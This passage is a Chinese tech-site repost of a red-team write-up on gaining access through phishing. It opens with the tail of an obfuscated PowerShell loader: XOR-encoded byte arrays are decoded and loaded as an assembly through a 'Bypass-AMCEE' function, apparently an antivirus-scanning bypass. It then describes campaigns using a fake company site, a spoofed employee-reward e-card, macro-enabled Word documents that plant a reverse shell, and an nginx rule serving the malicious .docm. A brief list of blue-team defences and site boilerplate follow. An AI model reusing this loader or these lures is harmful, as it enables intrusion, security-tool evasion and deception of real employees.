98,102,67,123,64,70,106,64,99,118,67,116,64,64,64,64,64,64,64,121,64,66,53,64,76,64,64,116,64,69,64,64,77,102,64,118,64,64,64,64,79,102,64,77,64,64,68,64,82,80,67,116,64,73,80,64,91,80,67,120,64,70,53,64,88,80,67,114,64,68,53,64,88,80,67,117,64,70,84,64,64,64,67,66,64,73,106,64,98,64,67,105,64,73,76,64,98,118,64,116,64,70,80,64,99,64,67,114,64,64,64,64,64,64,67,72,64,67,72,64,64,80,67,76,64,70,84,64,91,118,67,105,64,70,118,64,80,118,67,119,64,73,64,64,100,80,67,120,64,70,106,64,91,118,67,110,64,73,80,64,64,64,67,69,64,70,57,64,98,64,67,52,64,73,72,64,96,80,67,111,64,70,102,64,101,64,64,102,64,74,106,64,72,64,64,102,64,69,72,64,76,64,64,121,64,69,106,64,64,64,64,112,64,64,68,64,64,80,67,76,64,70,84,64,91,118,67,105,64,70,118,64,87,64,67,120,64,70,68,64,91,64,67,109,64,70,49,64,88,80,67,120,64,70,114,64,98,118,64,64,64,64,64,64,64,64,64,64,64,69,53,64,66,118,64,67,64,68,57,64,98,102,67,113,64,70,98,64,96,80,67,116,64,70,68,64,99,64,67,70,64,70,106,64,99,64,67,109,64,70,53,64,88,80,67,117,64,70,84,64,64,64,67,66,64,73,106,64,98,64,67,105,64,73,76,64,98,118,64,116,64,70,80,64,99,64,67,114,64,64,64,64,64,64,64,116,64,64,98,64,64,80,67,80,64,73,72,64)

$g = @(99,118,67,106,64,73,84,64,88,118,67,49,64,68,53,64,88,80,67,117,64,70,84,64,64,64,64,64,64,68,72,64,100,80,67,118,64,70,68,64,98,118,67,123,64,64,64,64,64,64,64,49,64,64,102,64,64,80,67,80,64,73,72,64,99,118,67,106,64,73,84,64,88,118,67,49,64,71,88,64,91,80,67,120,64,73,76,64,96,80,67,119,64,70,53,64,64,64,64,121,64,66,53,64,76,64,64,116,64,69,64,64,77,102,64,118,64,64,64,64,78,64,64,72,64,64,68,64,80,80,67,123,64,73,76,64,91,80,67,117,64,70,72,64,99,64,67,52,64,66,64,64,87,102,67,109,64,73,72,64,98,118,67,113,64,70,57,64,99,102,64,64,64,69,68,64,77,102,64,118,64,66,53,64,76,64,64,116,64,69,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,72,64,64,64,69,64,64,64,64,64,118,57,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,60,60)

$xorencrypted = $a + $b + $c + $d + $e + $f + $g

$decrypted = @()

foreach($byte in $xorencrypted){$decrypted += $byte -bxor 1 }

$base64string = [Text.Encoding]::UTF8.GetString($decrypted)

function Bypass-AMCEE { if(-not ([System.Management.Automation.PSTypeName]”Bypass.AMCEE”).Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String($base64string)) | Out-Null } [Bypass.AMCEE]::Subvert(); }

Bypass-AMCEE

## 攻击活动1：伪造的公司，目的性的提交表格。
我们向目标发送邮件去咨询新业务，在我们的域名上也做一个公司的页面，和他们的业务相似，在使用Dropbox和其他文件托管服务来存放payload都失败后，我们选择了mixmax.com，还可以跟踪谁点击了文件。
电子邮件发送给销售代表：

![](https://raw.githubusercontent.com/evilwing/wing-images/master/img/20190221205526.png)

带有宏的恶意word文档，需要宏才能正确加载：

![](https://raw.githubusercontent.com/evilwing/wing-images/master/img/20190221205546.png)

一旦启用的话，我们的hershell就会植入进去。

## 攻击活动2 群发活动
由于我们的攻击活动是在新年期间，我们用这个作为幌子宣传，模拟了一个优秀员工奖励计划，http://appreciatehub.com/，我们自己的是http://appreciateservices.com/，别人访问的时候，回跳转到真实的站点：http://octanner.com./，如果长期这么干，自己的域名可能会被标记为恶意域名。最好使用网站克隆。电子贺卡是很个性化的，来自接收着的样图。

![](https://raw.githubusercontent.com/evilwing/wing-images/master/img/20190221210229.png)

我们将祝贺视频放到word中，然后需要宏才能播放。

![](https://raw.githubusercontent.com/evilwing/wing-images/master/img/20190221210312.png)

配置一下nginx规则：

location /receivedECard {

alias /var/www/html/HappyNewYear2019.docm;

add_header Content-Disposition ‘attachment; filename=”Happy New Year 2019.docm”‘;

}

```

成功获得初始访问权限

Red Team Techniques-通过钓鱼攻击获得访问权限

蓝队如何防守

禁用宏
不接受不信任来源的邮件
虚拟机中运行附件
安全意识培训
收件箱的规则加强

以上所述就是小编给大家介绍的《Red Team Techniques-通过钓鱼攻击获得访问权限》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对码农网的支持！

查看所有标签

猜你喜欢:

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。

码农书籍

这还是马云

陈伟 / 浙江人民出版社 / 2013-5 / 39.80元

“幽默马云”、“开心马云”、“顽皮马云”、“狂妄马云”……《这还是马云(全新升级版)》由陈伟所著，《这还是马云(全新升级版)》从各个角度揭开了实际生活中“千面马云”的真面目，告诉你一个与想象中大不一样的马云。这不只是一本书，更像一部喜剧电影，让你通过声音、色彩、表情等诸多要素走近马云，感受阿里巴巴。没有冗长的说教，只有让人忍俊不禁的细节；没有高深的理论，只有通俗、诚恳的陈述。作者借幽默平常的琐事，......一起来看看《这还是马云》这本书的介绍吧!

码农工具